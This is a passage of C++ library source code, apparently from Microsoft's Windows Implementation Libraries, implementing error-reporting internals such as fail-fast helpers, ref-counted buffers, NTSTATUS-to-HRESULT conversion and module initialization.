enabled, this is a no-op\n // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined)\n __declspec(selectany) NTSTATUS(__stdcall *g_pfnRtlDisownModuleHeapAllocation)(_In_ HANDLE heapHandle, _In_ PVOID address) WI_PFN_NOEXCEPT = nullptr;\n\n // Allocate and disown the allocation so that Appverifier does not complain about a false leak\n inline PVOID ProcessHeapAlloc(_In_ DWORD flags, _In_ size_t size)\n {\n PVOID allocation = ::HeapAlloc(::GetProcessHeap(), flags, size);\n\n if (g_pfnRtlDisownModuleHeapAllocation)\n {\n (void)g_pfnRtlDisownModuleHeapAllocation(::GetProcessHeap(), allocation);\n }\n\n return allocation;\n }\n\n enum class ReportFailureOptions\n {\n None = 0x00,\n ForcePlatformException = 0x01,\n MayRethrow = 0x02,\n };\n DEFINE_ENUM_FLAG_OPERATORS(ReportFailureOptions);\n\n template \n using functor_return_type = decltype((*static_cast(nullptr))());\n\n template \n struct functor_wrapper_void : public IFunctor\n {\n TFunctor&& functor;\n functor_wrapper_void(TFunctor&& functor_) : functor(wistd::forward(functor_)) { }\n #pragma warning(push)\n #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2\n HRESULT Run() override\n {\n functor();\n return S_OK;\n }\n #pragma warning(pop)\n };\n\n template \n struct functor_wrapper_HRESULT : public IFunctor\n {\n TFunctor&& functor;\n functor_wrapper_HRESULT(TFunctor& functor_) : functor(wistd::forward(functor_)) { }\n HRESULT Run() override\n {\n return functor();\n }\n };\n\n template \n struct functor_wrapper_other : public IFunctor\n {\n TFunctor&& functor;\n TReturn& retVal;\n functor_wrapper_other(TFunctor& functor_, TReturn& retval_) : functor(wistd::forward(functor_)), retVal(retval_) { }\n #pragma warning(push)\n #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2\n HRESULT Run() override\n {\n retVal = functor();\n return S_OK;\n }\n #pragma warning(pop)\n };\n\n struct tag_return_void : public wistd::integral_constant\n {\n template \n using functor_wrapper = functor_wrapper_void;\n };\n\n struct tag_return_HRESULT : public wistd::integral_constant\n {\n template \n using functor_wrapper = functor_wrapper_HRESULT;\n };\n\n struct tag_return_other : public wistd::integral_constant\n {\n template \n using functor_wrapper = functor_wrapper_other;\n };\n\n // type-trait to help discover the return type of a functor for tag/dispatch.\n\n template \n struct return_type\n {\n typedef tag_return_other type;\n };\n\n template <>\n struct return_type\n {\n typedef tag_return_HRESULT type;\n };\n\n template <>\n struct return_type\n {\n typedef tag_return_void type;\n };\n\n template <>\n struct return_type\n {\n typedef tag_return_void type;\n };\n\n template \n using functor_tag = typename return_type>::type;\n\n // Forward declarations to enable use of fail fast and reporting internally...\n namespace __R_NS_NAME\n {\n _Post_satisfies_(return == hr) __R_DIRECT_METHOD(HRESULT, Log_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT;\n _Post_satisfies_(return == hr) __R_DIRECT_METHOD(HRESULT, Log_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT;\n _Post_satisfies_(return == err) __R_DIRECT_METHOD(DWORD, Log_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT;\n }\n namespace __RFF_NS_NAME\n {\n __RFF_DIRECT_NORET_METHOD(void, FailFast_Unexpected)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT;\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFast_If)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT;\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFast_HrIf)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) WI_NOEXCEPT;\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFast_IfFalse)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT;\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFastImmediate_If)(bool condition) WI_NOEXCEPT;\n }\n\n RESULT_NORETURN inline void __stdcall WilFailFast(const FailureInfo& info);\n inline void LogFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message,\n bool fWantDebugString, _Out_writes_(debugStringSizeChars) _Post_z_ PWSTR debugString, _Pre_satisfies_(debugStringSizeChars > 0) size_t debugStringSizeChars,\n _Out_writes_(callContextStringSizeChars) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringSizeChars > 0) size_t callContextStringSizeChars,\n _Out_ FailureInfo *failure) WI_NOEXCEPT;\n\n __declspec(noinline) inline void ReportFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message = nullptr, ReportFailureOptions options = ReportFailureOptions::None);\n template\n __declspec(noinline) inline void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, _In_opt_ PCWSTR message = nullptr, ReportFailureOptions options = ReportFailureOptions::None);\n template\n inline void ReportFailure_ReplaceMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, ...);\n __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr);\n template\n __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr);\n template\n __declspec(noinline) inline HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported = SupportedExceptions::Default);\n\n //*****************************************************************************\n // Fail fast helpers (for use only internally to WIL)\n //*****************************************************************************\n\n /// @cond\n #define __FAIL_FAST_ASSERT__(condition) do { if (!(condition)) { __RFF_FN(FailFast_Unexpected)(__RFF_INFO_ONLY(#condition)); } } while ((void)0, 0)\n #define __FAIL_FAST_IMMEDIATE_ASSERT__(condition) do { if (!(condition)) { wil::FailureInfo failure {}; wil::details::WilFailFast(failure); } } while ((void)0, 0)\n #define __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(condition) __RFF_FN(FailFast_IfWin32BoolFalse)(__RFF_INFO(#condition) wil::verify_BOOL(condition))\n\n // A simple ref-counted buffer class. The interface is very similar to shared_ptr<>, only it manages\n // an allocated buffer and maintains the size.\n\n class shared_buffer\n {\n public:\n shared_buffer() WI_NOEXCEPT : m_pCopy(nullptr), m_size(0)\n {\n }\n\n shared_buffer(shared_buffer const &other) WI_NOEXCEPT : m_pCopy(nullptr), m_size(0)\n {\n assign(other.m_pCopy, other.m_size);\n }\n\n shared_buffer(shared_buffer &&other) WI_NOEXCEPT :\n m_pCopy(other.m_pCopy),\n m_size(other.m_size)\n {\n other.m_pCopy = nullptr;\n other.m_size = 0;\n }\n\n ~shared_buffer() WI_NOEXCEPT\n {\n reset();\n }\n\n shared_buffer& operator=(shared_buffer const &other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n assign(other.m_pCopy, other.m_size);\n }\n return *this;\n }\n\n shared_buffer& operator=(shared_buffer &&other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n m_pCopy = other.m_pCopy;\n m_size = other.m_size;\n other.m_pCopy = nullptr;\n other.m_size = 0;\n }\n return *this;\n }\n\n void reset() WI_NOEXCEPT\n {\n if (m_pCopy != nullptr)\n {\n if (0 == ::InterlockedDecrementRelease(m_pCopy))\n {\n WIL_FreeMemory(m_pCopy);\n }\n m_pCopy = nullptr;\n m_size = 0;\n }\n }\n\n bool create(_In_reads_bytes_opt_(cbData) void const *pData, size_t cbData) WI_NOEXCEPT\n {\n if (cbData == 0)\n {\n reset();\n return true;\n }\n\n long *pCopyRefCount = reinterpret_cast(WIL_AllocateMemory(sizeof(long)+cbData));\n if (pCopyRefCount == nullptr)\n {\n return false;\n }\n\n *pCopyRefCount = 0;\n if (pData != nullptr)\n {\n memcpy_s(pCopyRefCount + 1, cbData, pData, cbData); // +1 to advance past sizeof(long) counter\n }\n assign(pCopyRefCount, cbData);\n return true;\n }\n\n bool create(size_t cbData) WI_NOEXCEPT\n {\n return create(nullptr, cbData);\n }\n\n void* get(_Out_opt_ size_t *pSize = nullptr) const WI_NOEXCEPT\n {\n if (pSize != nullptr)\n {\n *pSize = m_size;\n }\n return (m_pCopy == nullptr) ? nullptr : (m_pCopy + 1);\n }\n\n size_t size() const WI_NOEXCEPT\n {\n return m_size;\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_pCopy != nullptr);\n }\n\n bool unique() const WI_NOEXCEPT\n {\n return ((m_pCopy != nullptr) && (*m_pCopy == 1));\n }\n\n private:\n long *m_pCopy; // pointer to allocation: refcount + data\n size_t m_size; // size of the data from m_pCopy\n\n void assign(_In_opt_ long *pCopy, size_t cbSize) WI_NOEXCEPT\n {\n reset();\n if (pCopy != nullptr)\n {\n m_pCopy = pCopy;\n m_size = cbSize;\n ::InterlockedIncrementNoFence(m_pCopy);\n }\n }\n };\n\n inline shared_buffer make_shared_buffer_nothrow(_In_reads_bytes_opt_(countBytes) void *pData, size_t countBytes) WI_NOEXCEPT\n {\n shared_buffer buffer;\n buffer.create(pData, countBytes);\n return buffer;\n }\n\n inline shared_buffer make_shared_buffer_nothrow(size_t countBytes) WI_NOEXCEPT\n {\n shared_buffer buffer;\n buffer.create(countBytes);\n return buffer;\n }\n\n // A small mimic of the STL shared_ptr class, but unlike shared_ptr, a pointer is not attached to the class, but is\n // always simply contained within (it cannot be attached or detached).\n\n template \n class shared_object\n {\n public:\n shared_object() WI_NOEXCEPT : m_pCopy(nullptr)\n {\n }\n\n shared_object(shared_object const &other) WI_NOEXCEPT :\n m_pCopy(other.m_pCopy)\n {\n if (m_pCopy != nullptr)\n {\n ::InterlockedIncrementNoFence(&m_pCopy->m_refCount);\n }\n }\n\n shared_object(shared_object &&other) WI_NOEXCEPT :\n m_pCopy(other.m_pCopy)\n {\n other.m_pCopy = nullptr;\n }\n\n ~shared_object() WI_NOEXCEPT\n {\n reset();\n }\n\n shared_object& operator=(shared_object const &other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n m_pCopy = other.m_pCopy;\n if (m_pCopy != nullptr)\n {\n ::InterlockedIncrementNoFence(&m_pCopy->m_refCount);\n }\n }\n return *this;\n }\n\n shared_object& operator=(shared_object &&other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n m_pCopy = other.m_pCopy;\n other.m_pCopy = nullptr;\n }\n return *this;\n }\n\n void reset() WI_NOEXCEPT\n {\n if (m_pCopy != nullptr)\n {\n if (0 == ::InterlockedDecrementRelease(&m_pCopy->m_refCount))\n {\n delete m_pCopy;\n }\n m_pCopy = nullptr;\n }\n }\n\n bool create()\n {\n RefAndObject *pObject = new(std::nothrow) RefAndObject();\n if (pObject == nullptr)\n {\n return false;\n }\n reset();\n m_pCopy = pObject;\n return true;\n }\n\n template \n bool create(param_t &¶m1)\n {\n RefAndObject *pObject = new(std::nothrow) RefAndObject(wistd::forward(param1));\n if (pObject == nullptr)\n {\n return false;\n }\n reset();\n m_pCopy = pObject;\n return true;\n }\n\n object_t* get() const WI_NOEXCEPT\n {\n return (m_pCopy == nullptr) ? nullptr : &m_pCopy->m_object;\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_pCopy != nullptr);\n }\n\n bool unique() const WI_NOEXCEPT\n {\n return ((m_pCopy != nullptr) && (m_pCopy->m_refCount == 1));\n }\n\n object_t *operator->() const WI_NOEXCEPT\n {\n return get();\n }\n\n private:\n struct RefAndObject\n {\n long m_refCount;\n object_t m_object;\n\n RefAndObject() :\n m_refCount(1),\n m_object()\n {\n }\n\n template \n RefAndObject(param_t &¶m1) :\n m_refCount(1),\n m_object(wistd::forward(param1))\n {\n }\n };\n\n RefAndObject *m_pCopy;\n };\n\n // The following functions are basically the same, but are kept separated to:\n // 1) Provide a unique count and last error code per-type\n // 2) Avoid merging the types to allow easy debugging (breakpoints, conditional breakpoints based\n // upon count of errors from a particular type, etc)\n\n __declspec(noinline) inline int RecordException(HRESULT hr) WI_NOEXCEPT\n {\n static HRESULT volatile s_hrErrorLast = S_OK;\n static long volatile s_cErrorCount = 0;\n s_hrErrorLast = hr;\n return ::InterlockedIncrementNoFence(&s_cErrorCount);\n }\n\n __declspec(noinline) inline int RecordReturn(HRESULT hr) WI_NOEXCEPT\n {\n static HRESULT volatile s_hrErrorLast = S_OK;\n static long volatile s_cErrorCount = 0;\n s_hrErrorLast = hr;\n return ::InterlockedIncrementNoFence(&s_cErrorCount);\n }\n\n __declspec(noinline) inline int RecordLog(HRESULT hr) WI_NOEXCEPT\n {\n static HRESULT volatile s_hrErrorLast = S_OK;\n static long volatile s_cErrorCount = 0;\n s_hrErrorLast = hr;\n return ::InterlockedIncrementNoFence(&s_cErrorCount);\n }\n\n __declspec(noinline) inline int RecordFailFast(HRESULT hr) WI_NOEXCEPT\n {\n static HRESULT volatile s_hrErrorLast = S_OK;\n s_hrErrorLast = hr;\n return 1;\n }\n\n inline RESULT_NORETURN void __stdcall WilRaiseFailFastException(_In_ PEXCEPTION_RECORD er, _In_opt_ PCONTEXT cr, _In_ DWORD flags)\n {\n // if we managed to load the pointer either through WilDynamicRaiseFailFastException (PARTITION_DESKTOP etc.)\n // or via direct linkage (e.g. UWP apps), then use it.\n if (g_pfnRaiseFailFastException)\n {\n g_pfnRaiseFailFastException(er, cr, flags);\n }\n // if not, as a best effort, we are just going to call the intrinsic.\n __fastfail(FAST_FAIL_FATAL_APP_EXIT);\n }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n inline bool __stdcall GetModuleInformation(_In_opt_ void* address, _Out_opt_ unsigned int* addressOffset, _Out_writes_bytes_opt_(size) char* name, size_t size) WI_NOEXCEPT\n {\n HMODULE hModule = nullptr;\n if (address && !GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, reinterpret_cast(address), &hModule))\n {\n assign_to_opt_param(addressOffset, 0U);\n return false;\n }\n if (addressOffset)\n {\n *addressOffset = address ? static_cast(static_cast(address) - reinterpret_cast(hModule)) : 0;\n }\n if (name)\n {\n char modulePath[MAX_PATH];\n if (!GetModuleFileNameA(hModule, modulePath, ARRAYSIZE(modulePath)))\n {\n return false;\n }\n\n PCSTR start = modulePath + strlen(modulePath);\n while ((start > modulePath) && (*(start - 1) != '\\\\'))\n {\n start--;\n }\n StringCchCopyA(name, size, start);\n }\n return true;\n }\n\n inline PCSTR __stdcall GetCurrentModuleName() WI_NOEXCEPT\n {\n static char s_szModule[64] = {};\n static volatile bool s_fModuleValid = false;\n if (!s_fModuleValid) // Races are acceptable\n {\n GetModuleInformation(reinterpret_cast(&RecordFailFast), nullptr, s_szModule, ARRAYSIZE(s_szModule));\n s_fModuleValid = true;\n }\n return s_szModule;\n }\n\n inline void __stdcall DebugBreak() WI_NOEXCEPT\n {\n ::DebugBreak();\n }\n\n inline void __stdcall WilDynamicLoadRaiseFailFastException(_In_ PEXCEPTION_RECORD er, _In_ PCONTEXT cr, _In_ DWORD flags)\n {\n auto k32handle = GetModuleHandleW(L\"kernelbase.dll\");\n _Analysis_assume_(k32handle != nullptr);\n auto pfnRaiseFailFastException = reinterpret_cast(GetProcAddress(k32handle, \"RaiseFailFastException\"));\n if (pfnRaiseFailFastException)\n {\n pfnRaiseFailFastException(er, cr, flags);\n }\n }\n#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n\n inline bool __stdcall GetModuleInformationFromAddress(_In_opt_ void* address, _Out_opt_ unsigned int* addressOffset, _Out_writes_bytes_opt_(size) char* buffer, size_t size) WI_NOEXCEPT\n {\n if (size > 0)\n {\n assign_to_opt_param(buffer, '\\0');\n }\n if (addressOffset)\n {\n *addressOffset = 0;\n }\n if (g_pfnGetModuleInformation)\n {\n return g_pfnGetModuleInformation(address, addressOffset, buffer, size);\n }\n return false;\n }\n\n __declspec(noinline) inline HRESULT NtStatusToHr(NTSTATUS status) WI_NOEXCEPT\n {\n // The following conversions are the only known incorrect mappings in RtlNtStatusToDosErrorNoTeb\n if (SUCCEEDED_NTSTATUS(status))\n {\n // All successful status codes have only one hresult equivalent, S_OK\n return S_OK;\n }\n if (status == static_cast(STATUS_NO_MEMORY))\n {\n // RtlNtStatusToDosErrorNoTeb maps STATUS_NO_MEMORY to the less popular of two Win32 no memory error codes resulting in an unexpected mapping\n return E_OUTOFMEMORY;\n }\n\n if (g_pfnRtlNtStatusToDosErrorNoTeb != nullptr)\n {\n DWORD err = g_pfnRtlNtStatusToDosErrorNoTeb(status);\n\n // ERROR_MR_MID_NOT_FOUND indicates a bug in the originator of the error (failure to add a mapping to the Win32 error codes).\n // There are known instances of this bug which are unlikely to be fixed soon, and it's always possible that additional instances\n // could be added in the future. In these cases, it's better to use HRESULT_FROM_NT rather than returning a meaningless error.\n if ((err != 0) && (err != ERROR_MR_MID_NOT_FOUND))\n {\n return __HRESULT_FROM_WIN32(err);\n }\n }\n\n return HRESULT_FROM_NT(status);\n }\n\n // The following set of functions all differ only based upon number of arguments. They are unified in their handling\n // of data from each of the various error-handling types (fast fail, exceptions, etc.).\n _Post_equals_last_error_\n inline DWORD GetLastErrorFail(__R_FN_PARAMS_FULL) WI_NOEXCEPT\n {\n __R_FN_UNREFERENCED;\n auto err = ::GetLastError();\n if (SUCCEEDED_WIN32(err))\n {\n // This function should only be called when GetLastError() is set to a FAILURE.\n // If you hit this assert (or are reviewing this failure telemetry), then there are one of three issues:\n // 1) Your code is using a macro (such as RETURN_IF_WIN32_BOOL_FALSE()) on a function that does not actually\n // set the last error (consult MSDN).\n // 2) Your macro check against the error is not immediately after the API call. Pushing it later can result\n // in another API call between the previous one and the check resetting the last error.\n // 3) The API you're calling has a bug in it and does not accurately set the last error (there are a few\n // examples here, such as SendMessageTimeout() that don't accurately set the last error). For these,\n // please send mail to 'wildisc' when found and work-around with win32errorhelpers.\n\n WI_USAGE_ERROR_FORWARD(\"CALLER BUG: Macro usage error detected. GetLastError() does not have an error.\");\n return ERROR_ASSERTION_FAILURE;\n }\n return err;\n }\n\n _Translates_last_error_to_HRESULT_\n inline HRESULT GetLastErrorFailHr(__R_FN_PARAMS_FULL) WI_NOEXCEPT\n {\n return HRESULT_FROM_WIN32(GetLastErrorFail(__R_FN_CALL_FULL));\n }\n\n _Translates_last_error_to_HRESULT_\n inline __declspec(noinline) HRESULT GetLastErrorFailHr() WI_NOEXCEPT\n {\n __R_FN_LOCALS_FULL_RA;\n return GetLastErrorFailHr(__R_FN_CALL_FULL);\n }\n\n inline void PrintLoggingMessage(_Out_writes_(cchDest) _Post_z_ PWSTR pszDest, _Pre_satisfies_(cchDest > 0) size_t cchDest, _In_opt_ _Printf_format_string_ PCSTR formatString, _In_opt_ va_list argList) WI_NOEXCEPT\n {\n if (formatString == nullptr)\n {\n pszDest[0] = L'\\0';\n }\n else if (argList == nullptr)\n {\n StringCchPrintfW(pszDest, cchDest, L\"%hs\", formatString);\n }\n else\n {\n wchar_t szFormatWide[2048];\n StringCchPrintfW(szFormatWide, ARRAYSIZE(szFormatWide), L\"%hs\", formatString);\n StringCchVPrintfW(pszDest, cchDest, szFormatWide, argList);\n }\n }\n\n#pragma warning(push)\n#pragma warning(disable:__WARNING_RETURNING_BAD_RESULT)\n // NOTE: The following two functions are unfortunate copies of strsafe.h functions that have been copied to reduce the friction associated with using\n // Result.h and ResultException.h in a build that does not have WINAPI_PARTITION_DESKTOP defined (where these are conditionally enabled).\n\n static STRSAFEAPI WilStringLengthWorkerA(_In_reads_or_z_(cchMax) STRSAFE_PCNZCH psz, _In_ _In_range_(<= , STRSAFE_MAX_CCH) size_t cchMax, _Out_opt_ _Deref_out_range_(< , cchMax) _Deref_out_range_(<= , _String_length_(psz)) size_t* pcchLength)\n {\n HRESULT hr = S_OK;\n size_t cchOriginalMax = cchMax;\n while (cchMax && (*psz != '\\0'))\n {\n psz++;\n cchMax--;\n }\n if (cchMax == 0)\n {\n // the string is longer than cchMax\n hr = STRSAFE_E_INVALID_PARAMETER;\n }\n if (pcchLength)\n {\n if (SUCCEEDED(hr))\n {\n *pcchLength = cchOriginalMax - cchMax;\n }\n else\n {\n *pcchLength = 0;\n }\n }\n return hr;\n }\n\n _Must_inspect_result_ STRSAFEAPI StringCchLengthA(_In_reads_or_z_(cchMax) STRSAFE_PCNZCH psz, _In_ _In_range_(1, STRSAFE_MAX_CCH) size_t cchMax, _Out_opt_ _Deref_out_range_(<, cchMax) _Deref_out_range_(<= , _String_length_(psz)) size_t* pcchLength)\n {\n HRESULT hr;\n if ((psz == NULL) || (cchMax > STRSAFE_MAX_CCH))\n {\n hr = STRSAFE_E_INVALID_PARAMETER;\n }\n else\n {\n hr = WilStringLengthWorkerA(psz, cchMax, pcchLength);\n }\n if (FAILED(hr) && pcchLength)\n {\n *pcchLength = 0;\n }\n return hr;\n }\n#pragma warning(pop)\n\n _Post_satisfies_(cchDest > 0 && cchDest <= cchMax) static STRSAFEAPI WilStringValidateDestA(_In_reads_opt_(cchDest) STRSAFE_PCNZCH /*pszDest*/, _In_ size_t cchDest, _In_ const size_t cchMax)\n {\n HRESULT hr = S_OK;\n if ((cchDest == 0) || (cchDest > cchMax))\n {\n hr = STRSAFE_E_INVALID_PARAMETER;\n }\n return hr;\n }\n\n static STRSAFEAPI WilStringVPrintfWorkerA(_Out_writes_(cchDest) _Always_(_Post_z_) STRSAFE_LPSTR pszDest, _In_ _In_range_(1, STRSAFE_MAX_CCH) size_t cchDest, _Always_(_Out_opt_ _Deref_out_range_(<=, cchDest - 1)) size_t* pcchNewDestLength, _In_ _Printf_format_string_ STRSAFE_LPCSTR pszFormat, _In_ va_list argList)\n {\n HRESULT hr = S_OK;\n int iRet;\n size_t cchMax;\n size_t cchNewDestLength = 0;\n\n // leave the last space for the null terminator\n cchMax = cchDest - 1;\n#undef STRSAFE_USE_SECURE_CRT\n#define STRSAFE_USE_SECURE_CRT 1\n #if (STRSAFE_USE_SECURE_CRT == 1) && !defined(STRSAFE_LIB_IMPL)\n iRet = _vsnprintf_s(pszDest, cchDest, cchMax, pszFormat, argList);\n #else\n #pragma warning(push)\n #pragma warning(disable: __WARNING_BANNED_API_USAGE)// \"STRSAFE not included\"\n iRet = _vsnprintf(pszDest, cchMax, pszFormat, argList);\n #pragma warning(pop)\n #endif\n // ASSERT((iRet < 0) || (((size_t)iRet) <= cchMax));\n\n if ((iRet < 0) || (((size_t)iRet) > cchMax))\n {\n // need to null terminate the string\n pszDest += cchMax;\n *pszDest = '\\0';\n\n cchNewDestLength = cchMax;\n\n // we have truncated pszDest\n hr = STRSAFE_E_INSUFFICIENT_BUFFER;\n }\n else if (((size_t)iRet) == cchMax)\n {\n // need to null terminate the string\n pszDest += cchMax;\n *pszDest = '\\0';\n\n cchNewDestLength = cchMax;\n }\n else\n {\n cchNewDestLength = (size_t)iRet;\n }\n\n if (pcchNewDestLength)\n {\n *pcchNewDestLength = cchNewDestLength;\n }\n\n return hr;\n }\n\n __inline HRESULT StringCchPrintfA( _Out_writes_(cchDest) _Always_(_Post_z_) STRSAFE_LPSTR pszDest, _In_ size_t cchDest, _In_ _Printf_format_string_ STRSAFE_LPCSTR pszFormat, ...)\n {\n HRESULT hr;\n hr = wil::details::WilStringValidateDestA(pszDest, cchDest, STRSAFE_MAX_CCH);\n if (SUCCEEDED(hr))\n {\n va_list argList;\n va_start(argList, pszFormat);\n hr = wil::details::WilStringVPrintfWorkerA(pszDest, cchDest, NULL, pszFormat, argList);\n va_end(argList);\n }\n else if (cchDest > 0)\n {\n *pszDest = '\\0';\n }\n return hr;\n }\n\n _Ret_range_(sizeof(char), (psz == nullptr) ? sizeof(char) : (_String_length_(psz) + sizeof(char)))\n inline size_t ResultStringSize(_In_opt_ PCSTR psz)\n { return (psz == nullptr) ? sizeof(char) : (strlen(psz) + sizeof(char)); }\n\n _Ret_range_(sizeof(wchar_t), (psz == nullptr) ? sizeof(wchar_t) : ((_String_length_(psz) + 1) * sizeof(wchar_t)))\n inline size_t ResultStringSize(_In_opt_ PCWSTR psz)\n { return (psz == nullptr) ? sizeof(wchar_t) : (wcslen(psz) + 1) * sizeof(wchar_t); }\n\n template\n _Ret_range_(pStart, pEnd) inline unsigned char* WriteResultString(\n _Pre_satisfies_(pStart <= pEnd)\n _When_((pStart == pEnd) || (pszString == nullptr) || (pszString[0] == 0), _In_opt_)\n _When_((pStart != pEnd) && (pszString != nullptr) && (pszString[0] != 0), _Out_writes_bytes_opt_(_String_length_(pszString) * sizeof(pszString[0])))\n unsigned char* pStart, _Pre_satisfies_(pEnd >= pStart) unsigned char* pEnd, _In_opt_z_ TString pszString, _Outptr_result_maybenull_z_ TString* ppszBufferString)\n {\n // No space? Null string? Do nothing.\n if ((pStart == pEnd) || !pszString || !*pszString)\n {\n assign_null_to_opt_param(ppszBufferString);\n return pStart;\n }\n\n // Treats the range pStart--pEnd as a memory buffer into which pszString is copied. A pointer to\n // the start of the copied string is placed into ppszStringBuffer. If the buffer isn't big enough,\n // do nothing, and tell the caller nothing was written.\n size_t const stringSize = ResultStringSize(pszString);\n size_t const bufferSize = pEnd - pStart;\n if (bufferSize < stringSize)\n {\n assign_null_to_opt_param(ppszBufferString);\n return pStart;\n }\n\n memcpy_s(pStart, bufferSize, pszString, stringSize);\n assign_to_opt_param(ppszBufferString, reinterpret_cast(pStart));\n return pStart + stringSize;\n }\n\n _Ret_range_(0, (cchMax > 0) ? cchMax - 1 : 0) inline size_t UntrustedStringLength(_In_ PCSTR psz, _In_ size_t cchMax) { size_t cbLength; return SUCCEEDED(wil::details::StringCchLengthA(psz, cchMax, &cbLength)) ? cbLength : 0; }\n _Ret_range_(0, (cchMax > 0) ? cchMax - 1 : 0) inline size_t UntrustedStringLength(_In_ PCWSTR psz, _In_ size_t cchMax) { size_t cbLength; return SUCCEEDED(::StringCchLengthW(psz, cchMax, &cbLength)) ? cbLength : 0; }\n\n template\n _Ret_range_(pStart, pEnd) inline unsigned char *GetResultString(_In_reads_to_ptr_opt_(pEnd) unsigned char *pStart, _Pre_satisfies_(pEnd >= pStart) unsigned char *pEnd, _Out_ TString *ppszBufferString)\n {\n size_t cchLen = UntrustedStringLength(reinterpret_cast(pStart), (pEnd - pStart) / sizeof((*ppszBufferString)[0]));\n *ppszBufferString = (cchLen > 0) ? reinterpret_cast(pStart) : nullptr;\n auto pReturn = min(pEnd, pStart + ((cchLen + 1) * sizeof((*ppszBufferString)[0])));\n __analysis_assume((pReturn >= pStart) && (pReturn <= pEnd));\n return pReturn;\n }\n } // details namespace\n /// @endcond\n\n //*****************************************************************************\n // WIL result handling initializers\n //\n // Generally, callers do not need to manually initialize WIL. This header creates\n // the appropriate .CRT init section pieces through global objects to ensure that\n // WilInitialize... is called before DllMain or main().\n //\n // Certain binaries do not link with the CRT or do not support .CRT-section based\n // initializers. Those binaries must link only with other static libraries that\n // also set RESULT_SUPPRESS_STATIC_INITIALIZERS to ensure no .CRT inits are left,\n // and they should call one of the WilInitialize_ResultMacros_??? methods during\n // their initialization phase. Skipping this initialization path is OK as well,\n // but results in a slightly degraded experience with result reporting.\n //\n // Calling WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse provides:\n // - The name of the current module in wil::FailureInfo::pszModule\n // - The name of the returning-to module during wil\\staging.h failures\n //*****************************************************************************\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n //! Call this method to initialize WIL manually in a module where RESULT_SUPPRESS_STATIC_INITIALIZERS is required. WIL will\n //! only use publicly documented APIs.\n inline void WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse()\n {\n details::g_pfnGetModuleName = details::GetCurrentModuleName;\n details::g_pfnGetModuleInformation = details::GetModuleInformation;\n details::g_pfnDebugBreak = details::DebugBreak;\n details::g_pfnRaiseFailFastException = wil::details::WilDynamicLoadRaiseFailFastException;\n }\n\n /// @cond\n namespace details\n {\n#ifndef RESULT_SUPPRESS_STATIC_INITIALIZERS\n#if !defined(BUILD_WINDOWS) || defined(WIL_SUPPRESS_PRIVATE_API_USE)\n WI_HEADER_INITITALIZATION_FUNCTION(WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse, []\n {\n ::wil::WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse();\n return 1;\n });\n#endif\n#endif\n }\n /// @endcond\n#else // !WINAPI_PARTITION_DESKTOP, !WINAPI_PARTITION_SYSTEM, explicitly assume these modules can direct link\n namespace details\n {\n WI_HEADER_INITITALIZATION_FUNCTION(WilInitialize_ResultMacros_AppOnly, []\n {\n g_pfnRaiseFailFastException = ::RaiseFailFastException;\n return 1;\n });\n }\n#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n\n //*****************************************************************************\n // Public Error Handling Helpers\n //*****************************************************************************\n\n //! Call this method to determine if process shutdown is in progress (allows avoiding work during dll unload).\n inline bool ProcessShutdownInProgress()\n {\n return (details::g_processShutdownInProgress || (details::g_pfnDllShutdownInProgress ? details::g_pfnDllShutdownInProgress() : false));\n }\n\n /** Use this object to wrap an object that wants to prevent its destructor from being run when the process is shutting down,\n but the hosting DLL doesn't support CRT initializers (such as kernelbase.dll). The hosting DLL is 